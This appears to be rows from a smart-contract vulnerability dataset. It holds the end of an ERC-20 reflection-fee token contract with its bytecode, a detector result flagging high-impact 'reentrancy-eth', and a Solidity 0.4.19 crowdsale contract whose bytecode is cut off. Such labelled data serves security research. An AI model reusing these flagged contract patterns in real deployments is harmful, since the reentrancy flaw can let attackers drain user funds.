_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031d578063c3c8cd801461033d578063c9567bf914610352578063cfe81ba014610367578063dd62ed3e1461038757600080fd5b8063715018a614610273578063842b7c08146102885780638da5cb5b146102a857806395d89b41146102d0578063a9059cbb146102fd57600080fd5b8063273123b7116100e7578063273123b7146101e0578063313ce567146102025780635932ead11461021e5780636fc3eaec1461023e57806370a082311461025357600080fd5b806306fdde0314610124578063095ea7b31461016757806318160ddd1461019757806323b872dd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526008815267496e6b6f20496e7560c01b60208201525b60405161015e9190611879565b60405180910390f35b34801561017357600080fd5b50610187610182366004611700565b6103cd565b604051901515815260200161015e565b3480156101a357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015e565b3480156101cc57600080fd5b506101876101db3660046116bf565b6103e4565b3480156101ec57600080fd5b506102006101fb36600461164c565b61044d565b005b34801561020e57600080fd5b506040516009815260200161015e565b34801561022a57600080fd5b506102006102393660046117f8565b6104a1565b34801561024a57600080fd5b506102006104e9565b34801561025f57600080fd5b506101b261026e36600461164c565b610516565b34801561027f57600080fd5b50610200610538565b34801561029457600080fd5b506102006102a3366004611832565b6105ac565b3480156102b457600080fd5b506000546040516001600160a01b03909116815260200161015e565b3480156102dc57600080fd5b50604080518082019091526004815263494e4b4f60e01b6020820152610151565b34801561030957600080fd5b50610187610318366004611700565b610603565b34801561032957600080fd5b5061020061033836600461172c565b610610565b34801561034957600080fd5b506102006106a6565b34801561035e57600080fd5b506102006106dc565b34801561037357600080fd5b50610200610382366004611832565b610aa5565b34801561039357600080fd5b506101b26103a2366004611686565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103da338484610afc565b5060015b92915050565b60006103f1848484610c20565b610443843361043e85604051806060016040528060288152602001611a65602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f03565b610afc565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b8152600401610477906118ce565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cb5760405162461bcd60e51b8152600401610477906118ce565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050957600080fd5b4761051381610f3d565b50565b6001600160a01b0381166000908152600260205260408120546103de90610fc2565b6000546001600160a01b031633146105625760405162461bcd60e51b8152600401610477906118ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146105fe5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600a55565b60006103da338484610c20565b6000546001600160a01b0316331461063a5760405162461bcd60e51b8152600401610477906118ce565b60005b81518110156106a25760016006600084848151811061065e5761065e611a15565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069a816119e4565b91505061063d565b5050565b600c546001600160a01b0316336001600160a01b0316146106c657600080fd5b60006106d130610516565b905061051381611046565b6000546001600160a01b031633146107065760405162461bcd60e51b8152600401610477906118ce565b600f54600160a01b900460ff16156107605760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610477565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a030826b033b2e3c9fd0803ce8000000610afc565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d957600080fd5b505afa1580156107ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108119190611669565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108919190611669565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108d957600080fd5b505af11580156108ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109119190611669565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094181610516565b6000806109566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f2919061184b565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6d57600080fd5b505af1158015610a81573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a29190611815565b600d546001600160a01b0316336001600160a01b031614610af75760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610477565b600b55565b6001600160a01b038316610b5e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610bbf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c845760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610ce65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610d485760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6000546001600160a01b03848116911614801590610d7457506000546001600160a01b03838116911614155b15610ef3576001600160a01b03831660009081526006602052604090205460ff16158015610dbb57506001600160a01b03821660009081526006602052604090205460ff16155b610dc457600080fd5b600f546001600160a01b038481169116148015610def5750600e546001600160a01b03838116911614155b8015610e1457506001600160a01b03821660009081526005602052604090205460ff16155b8015610e295750600f54600160b81b900460ff165b15610e8657601054811115610e3d57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6157600080fd5b610e6c42601e611974565b6001600160a01b0383166000908152600760205260409020555b6000610e9130610516565b600f54909150600160a81b900460ff16158015610ebc5750600f546001600160a01b03858116911614155b8015610ed15750600f54600160b01b900460ff165b15610ef157610edf81611046565b478015610eef57610eef47610f3d565b505b505b610efe8383836111cf565b505050565b60008184841115610f275760405162461bcd60e51b81526004016104779190611879565b506000610f3484866119cd565b95945050505050565b600c546001600160a01b03166108fc610f578360026111da565b6040518115909202916000818181858888f19350505050158015610f7f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9a8360026111da565b6040518115909202916000818181858888f193505050501580156106a2573d6000803e3d6000fd5b60006008548211156110295760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b600061103361121c565b905061103f83826111da565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061108e5761108e611a15565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e257600080fd5b505afa1580156110f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111a9190611669565b8160018151811061112d5761112d611a15565b6001600160a01b039283166020918202929092010152600e546111539130911684610afc565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118c908590600090869030904290600401611903565b600060405180830381600087803b1580156111a657600080fd5b505af11580156111ba573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610efe83838361123f565b600061103f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611336565b6000806000611229611364565b909250905061123882826111da565b9250505090565b600080600080600080611251876113ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112839087611409565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b2908661144b565b6001600160a01b0389166000908152600260205260409020556112d4816114aa565b6112de84836114f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132391815260200190565b60405180910390a3505050505050505050565b600081836113575760405162461bcd60e51b81526004016104779190611879565b506000610f34848661198c565b60085460009081906b033b2e3c9fd0803ce800000061138382826111da565b8210156113a3575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113c98a600a54600b54611518565b92509250925060006113d961121c565b905060008060006113ec8e87878761156d565b919e509c509a509598509396509194505050505091939550919395565b600061103f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f03565b6000806114588385611974565b90508381101561103f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114b461121c565b905060006114c283836115bd565b306000908152600260205260409020549091506114df908261144b565b30600090815260026020526040902055505050565b6008546115019083611409565b600855600954611511908261144b565b6009555050565b6000808080611532606461152c89896115bd565b906111da565b90506000611545606461152c8a896115bd565b9050600061155d826115578b86611409565b90611409565b9992985090965090945050505050565b600080808061157c88866115bd565b9050600061158a88876115bd565b9050600061159888886115bd565b905060006115aa826115578686611409565b939b939a50919850919650505050505050565b6000826115cc575060006103de565b60006115d883856119ae565b9050826115e5858361198c565b1461103f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b803561164781611a41565b919050565b60006020828403121561165e57600080fd5b813561103f81611a41565b60006020828403121561167b57600080fd5b815161103f81611a41565b6000806040838503121561169957600080fd5b82356116a481611a41565b915060208301356116b481611a41565b809150509250929050565b6000806000606084860312156116d457600080fd5b83356116df81611a41565b925060208401356116ef81611a41565b929592945050506040919091013590565b6000806040838503121561171357600080fd5b823561171e81611a41565b946020939093013593505050565b6000602080838503121561173f57600080fd5b823567ffffffffffffffff8082111561175757600080fd5b818501915085601f83011261176b57600080fd5b81358181111561177d5761177d611a2b565b8060051b604051601f19603f830116810181811085821117156117a2576117a2611a2b565b604052828152858101935084860182860187018a10156117c157600080fd5b600095505b838610156117eb576117d78161163c565b8552600195909501949386019386016117c6565b5098975050505050505050565b60006020828403121561180a57600080fd5b813561103f81611a56565b60006020828403121561182757600080fd5b815161103f81611a56565b60006020828403121561184457600080fd5b5035919050565b60008060006060848603121561186057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a65785810183015185820160400152820161188a565b818111156118b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119535784516001600160a01b03168352938301939183019160010161192e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611987576119876119ff565b500190565b6000826119a957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119c8576119c86119ff565b500290565b6000828210156119df576119df6119ff565b500390565b60006000198214156119f8576119f86119ff565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051357600080fd5b801515811461051357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cf52b7898ca223da8e1017667e700e7af5acdb39c9583f5240aa50ad36ea68864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,386 |
0x2cCcC3f5351c916b0e92C72AF007641551C96bFa
|
pragma solidity ^0.4.19;
contract CrowdsaleTokenInterface {
uint public decimals;
function addLockAddress(address addr, uint lock_time) public;
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
}
contract CrowdsaleLimit {
using SafeMath for uint256;
// the UNIX timestamp start date of the crowdsale
uint public startsAt;
// the UNIX timestamp end date of the crowdsale
uint public endsAt;
uint public token_decimals = 8;
uint public TOKEN_RATE_PRESALE = 7200;
uint public TOKEN_RATE_CROWDSALE= 6000;
// setting the wei value for one token in presale stage
uint public PRESALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_PRESALE;
// setting the wei value for one token in crowdsale stage
uint public CROWDSALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_CROWDSALE;
// setting the max fund of presale with eth
uint public PRESALE_ETH_IN_WEI_FUND_MAX = 40000 ether;
// setting the min fund of crowdsale with eth
uint public CROWDSALE_ETH_IN_WEI_FUND_MIN = 22000 ether;
// setting the max fund of crowdsale with eth
uint public CROWDSALE_ETH_IN_WEI_FUND_MAX = 90000 ether;
// setting the min acceptable invest with eth in presale
uint public PRESALE_ETH_IN_WEI_ACCEPTED_MIN = 1 ether;
// setting the min acceptable invest with eth in pubsale
uint public CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN = 100 finney;
// setting the gasprice to limit big buyer, default to disable
uint public CROWDSALE_GASPRICE_IN_WEI_MAX = 0;
// total eth fund in presale stage
uint public presale_eth_fund= 0;
// total eth fund
uint public crowdsale_eth_fund= 0;
// total eth refund
uint public crowdsale_eth_refund = 0;
// setting team list and set percentage of tokens
mapping(address => uint) public team_addresses_token_percentage;
mapping(uint => address) public team_addresses_idx;
uint public team_address_count= 0;
uint public team_token_percentage_total= 0;
uint public team_token_percentage_max= 40;
event EndsAtChanged(uint newEndsAt);
event AddTeamAddress(address addr, uint release_time, uint token_percentage);
event Refund(address investor, uint weiAmount);
// limitation of buying tokens
modifier allowCrowdsaleAmountLimit(){
if (msg.value == 0) revert();
if((crowdsale_eth_fund.add(msg.value)) > CROWDSALE_ETH_IN_WEI_FUND_MAX) revert();
if((CROWDSALE_GASPRICE_IN_WEI_MAX > 0) && (tx.gasprice > CROWDSALE_GASPRICE_IN_WEI_MAX)) revert();
_;
}
function CrowdsaleLimit(uint _start, uint _end) public {
require(_start != 0);
require(_end != 0);
require(_start < _end);
startsAt = _start;
endsAt = _end;
}
// caculate amount of token in presale stage
function calculateTokenPresale(uint value, uint decimals) /*internal*/ public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(PRESALE_TOKEN_IN_WEI);
}
// caculate amount of token in crowdsale stage
function calculateTokenCrowsale(uint value, uint decimals) /*internal*/ public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(CROWDSALE_TOKEN_IN_WEI);
}
// check if the goal is reached
function isMinimumGoalReached() public constant returns (bool) {
return crowdsale_eth_fund >= CROWDSALE_ETH_IN_WEI_FUND_MIN;
}
// add new team percentage of tokens
function addTeamAddressInternal(address addr, uint release_time, uint token_percentage) internal {
if((team_token_percentage_total.add(token_percentage)) > team_token_percentage_max) revert();
if((team_token_percentage_total.add(token_percentage)) > 100) revert();
if(team_addresses_token_percentage[addr] != 0) revert();
team_addresses_token_percentage[addr]= token_percentage;
team_addresses_idx[team_address_count]= addr;
team_address_count++;
team_token_percentage_total = team_token_percentage_total.add(token_percentage);
AddTeamAddress(addr, release_time, token_percentage);
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endsAt;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) revert();
_;
}
modifier onlyInEmergency {
if (!halted) revert();
_;
}
// called by the owner on emergency, triggers stopped state
function halt() external onlyOwner {
halted = true;
}
// called by the owner on end of emergency, returns to normal state
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract Crowdsale is CrowdsaleLimit, Haltable {
using SafeMath for uint256;
CrowdsaleTokenInterface public token;
/* tokens will be transfered from this address */
address public multisigWallet;
/** How much ETH each address has invested to this crowdsale */
mapping (address => uint256) public investedAmountOf;
/** How much tokens this crowdsale has credited for each investor address */
mapping (address => uint256) public tokenAmountOf;
/* the number of tokens already sold through this contract*/
uint public tokensSold = 0;
/* How many distinct addresses have invested */
uint public investorCount = 0;
/* How much wei we have returned back to the contract after a failed crowdfund. */
uint public loadedRefund = 0;
/* Has this crowdsale been finalized */
bool public finalized;
enum State{Unknown, PreFunding, Funding, Success, Failure, Finalized, Refunding}
// A new investment was made
event Invested(address investor, uint weiAmount, uint tokenAmount);
event createTeamTokenEvent(address addr, uint tokens);
event Finalized();
/** Modified allowing execution only if the crowdsale is currently running. */
modifier inState(State state) {
if(getState() != state) revert();
_;
}
function Crowdsale(address _token, address _multisigWallet, uint _start, uint _end) CrowdsaleLimit(_start, _end) public
{
require(_token != 0x0);
require(_multisigWallet != 0x0);
token = CrowdsaleTokenInterface(_token);
if(token_decimals != token.decimals()) revert();
multisigWallet = _multisigWallet;
}
/* Crowdfund state machine management. */
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (now < startsAt) return State.PreFunding;
else if (now <= endsAt && !isMinimumGoalReached()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && crowdsale_eth_fund > 0 && loadedRefund >= crowdsale_eth_fund) return State.Refunding;
else return State.Failure;
}
//add new team percentage of tokens and lock their release time
function addTeamAddress(address addr, uint release_time, uint token_percentage) onlyOwner inState(State.PreFunding) public {
super.addTeamAddressInternal(addr, release_time, token_percentage);
token.addLockAddress(addr, release_time); //not use delegatecall
}
//generate team tokens in accordance with percentage of total issue tokens, not preallocate
function createTeamTokenByPercentage() onlyOwner internal {
//uint total= token.totalSupply();
uint total= tokensSold;
//uint tokens= total.mul(100).div(100-team_token_percentage_total).sub(total);
uint tokens= total.mul(team_token_percentage_total).div(100-team_token_percentage_total);
for(uint i=0; i<team_address_count; i++) {
address addr= team_addresses_idx[i];
if(addr==0x0) continue;
uint ntoken= tokens.mul(team_addresses_token_percentage[addr]).div(team_token_percentage_total);
token.mint(addr, ntoken);
createTeamTokenEvent(addr, ntoken);
}
}
// fallback function can be used to buy tokens
function () stopInEmergency allowCrowdsaleAmountLimit payable public {
require(msg.sender != 0x0);
buyTokensCrowdsale(msg.sender);
}
// low level token purchase function
function buyTokensCrowdsale(address receiver) internal /*stopInEmergency allowCrowdsaleAmountLimit payable*/ {
uint256 weiAmount = msg.value;
uint256 tokenAmount= 0;
if(getState() == State.PreFunding) {
if (weiAmount < PRESALE_ETH_IN_WEI_ACCEPTED_MIN) revert();
if((PRESALE_ETH_IN_WEI_FUND_MAX > 0) && ((presale_eth_fund.add(weiAmount)) > PRESALE_ETH_IN_WEI_FUND_MAX)) revert();
tokenAmount = calculateTokenPresale(weiAmount, token_decimals);
presale_eth_fund = presale_eth_fund.add(weiAmount);
}
else if((getState() == State.Funding) || (getState() == State.Success)) {
if (weiAmount < CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN) revert();
tokenAmount = calculateTokenCrowsale(weiAmount, token_decimals);
} else {
// Unwanted state
revert();
}
if(tokenAmount == 0) {
revert();
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
// Update investor
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
// Update totals
crowdsale_eth_fund = crowdsale_eth_fund.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
token.mint(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) revert();
// Tell us invest was success
Invested(receiver, weiAmount, tokenAmount);
}
/**
* Allow load refunds back on the contract for the refunding.
*
* The team can transfer the funds back on the smart contract in the case the minimum goal was not reached..
*/
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) revert();
loadedRefund = loadedRefund.add(msg.value);
}
/**
* Investors can claim refund.
*
* Note that any refunds from proxy buyers should be handled separately,
* and not through this contract.
*/
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) revert();
investedAmountOf[msg.sender] = 0;
crowdsale_eth_refund = crowdsale_eth_refund.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) revert();
}
function setEndsAt(uint time) onlyOwner public {
if(now > time) {
revert();
}
endsAt = time;
EndsAtChanged(endsAt);
}
// should be called after crowdsale ends, to do
// some extra finalization work
function doFinalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
revert();
}
createTeamTokenByPercentage();
token.finishMinting();
finalized = true;
Finalized();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x6060604052600436106102005763ffffffff60e060020a600035041663099583de81146102815780630a09284a146102a65780630dd2d96c146102b95780630ef53b78146102cc57806311c93d03146102fe5780631865c57d146103115780631aae3460146103485780633c4b303d146103675780633d820a901461037a5780634186252b1461038d578063487f3f06146103ac578063518ab2a8146103bf578063590e1ae3146103d25780635ed7ca5b146103e55780636e50eb3f146103f857806371616b841461040e578063797d9437146104275780637c2e08a31461043a5780638761210214610461578063878314c9146104695780638931c9981461047c5780638a7180ae146104955780638da5cb5b146104a85780639075becf146104bb57806397b150ca146104ce5780639bd4e925146104ed578063a22913b514610500578063a264f18e14610525578063ac6eead314610538578063af4686821461054b578063afcced411461055e578063b07f302514610571578063b3f05b9714610584578063b9b8af0b14610597578063bf70a985146105aa578063c47028c1146105bd578063c5b7f5bf146105d0578063cb3e64fd146105e3578063d7e64c00146105f6578063e0772f6a14610609578063ecb70fb71461061c578063eee6ce931461062f578063f2fde38b14610642578063fc0c546a14610661575b60155460a060020a900460ff161561021757600080fd5b34151561022357600080fd5b600954600e54610239903463ffffffff61067416565b111561024457600080fd5b6000600c541180156102575750600c543a115b1561026157600080fd5b600160a060020a033316151561027657600080fd5b61027f3361068a565b005b341561028c57600080fd5b610294610952565b60405190815260200160405180910390f35b34156102b157600080fd5b610294610958565b34156102c457600080fd5b61027f61095e565b34156102d757600080fd5b6102e2600435610a67565b604051600160a060020a03909116815260200160405180910390f35b341561030957600080fd5b610294610a82565b341561031c57600080fd5b610324610a88565b6040518082600681111561033457fe5b60ff16815260200191505060405180910390f35b341561035357600080fd5b610294600160a060020a0360043516610b24565b341561037257600080fd5b610294610b36565b341561038557600080fd5b610294610b3c565b341561039857600080fd5b610294600160a060020a0360043516610b42565b34156103b757600080fd5b610294610b54565b34156103ca57600080fd5b610294610b5a565b34156103dd57600080fd5b61027f610b60565b34156103f057600080fd5b61027f610c51565b341561040357600080fd5b61027f600435610c92565b341561041957600080fd5b610294600435602435610cf5565b341561043257600080fd5b610294610d29565b341561044557600080fd5b61044d610d2f565b604051901515815260200160405180910390f35b61027f610d3a565b341561047457600080fd5b610294610d7f565b341561048757600080fd5b610294600435602435610d85565b34156104a057600080fd5b610294610da5565b34156104b357600080fd5b6102e2610dab565b34156104c657600080fd5b6102e2610dba565b34156104d957600080fd5b610294600160a060020a0360043516610dc9565b34156104f857600080fd5b610294610ddb565b341561050b57600080fd5b61027f600160a060020a0360043516602435604435610de1565b341561053057600080fd5b610294610e97565b341561054357600080fd5b610294610e9d565b341561055657600080fd5b610294610ea3565b341561056957600080fd5b610294610ea9565b341561057c57600080fd5b610294610eaf565b341561058f57600080fd5b61044d610eb5565b34156105a257600080fd5b61044d610ebe565b34156105b557600080fd5b610294610ece565b34156105c857600080fd5b610294610ed4565b34156105db57600080fd5b610294610eda565b34156105ee57600080fd5b61027f610ee0565b341561060157600080fd5b610294610f33565b341561061457600080fd5b610294610f39565b341561062757600080fd5b61044d610f3f565b341561063a57600080fd5b610294610f47565b341561064d57600080fd5b61027f600160a060020a0360043516610f4d565b341561066c57600080fd5b6102e2610fac565b60008282018381101561068357fe5b9392505050565b3460006001610697610a88565b60068111156106a257fe5b141561071057600a548210156106b757600080fd5b60006007541180156106dc5750600754600d546106da908463ffffffff61067416565b115b156106e657600080fd5b6106f282600254610d85565b600d54909150610708908363ffffffff61067416565b600d5561076f565b600261071a610a88565b600681111561072557fe5b148061074357506003610736610a88565b600681111561074157fe5b145b1561076a57600b5482101561075757600080fd5b61076382600254610cf5565b905061076f565b600080fd5b80151561077b57600080fd5b600160a060020a03831660009081526018602052604090205415156107a457601b805460010190555b600160a060020a0383166000908152601860205260409020546107cd908363ffffffff61067416565b600160a060020a038416600090815260186020908152604080832093909355601990522054610802908263ffffffff61067416565b600160a060020a038416600090815260196020526040902055600e5461082e908363ffffffff61067416565b600e55601a54610844908263ffffffff61067416565b601a55601654600160a060020a03166340c10f19848360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108a657600080fd5b6102c65a03f115156108b757600080fd5b50505060405180515050601754600160a060020a031682156108fc0283604051600060405180830381858888f1935050505015156108f457600080fd5b7f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c8383836040518084600160a060020a0316600160a060020a03168152602001838152602001828152602001935050505060405180910390a1505050565b60055481565b60015481565b600380610969610a88565b600681111561097457fe5b1461097e57600080fd5b60155433600160a060020a0390811691161461099957600080fd5b60155460a060020a900460ff16156109b057600080fd5b601d5460ff16156109c057600080fd5b6109c8610fbb565b601654600160a060020a0316637d64bcb46000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a1057600080fd5b6102c65a03f11515610a2157600080fd5b50505060405180515050601d805460ff191660011790557f6823b073d48d6e3a7d385eeb601452d680e74bb46afe3255a7d778f3a9b1768160405160405180910390a150565b601160205260009081526040902054600160a060020a031681565b600f5481565b601d5460009060ff1615610a9e57506005610b21565b600054421015610ab057506001610b21565b6001544211158015610ac75750610ac5610d2f565b155b15610ad457506002610b21565b610adc610d2f565b15610ae957506003610b21565b610af1610d2f565b158015610b0057506000600e54115b8015610b105750600e54601c5410155b15610b1d57506006610b21565b5060045b90565b60186020526000908152604090205481565b60025481565b60035481565b60106020526000908152604090205481565b60125481565b601a5481565b6000600680610b6d610a88565b6006811115610b7857fe5b14610b8257600080fd5b600160a060020a0333166000908152601860205260409020549150811515610ba957600080fd5b600160a060020a033316600090815260186020526040812055600f54610bd5908363ffffff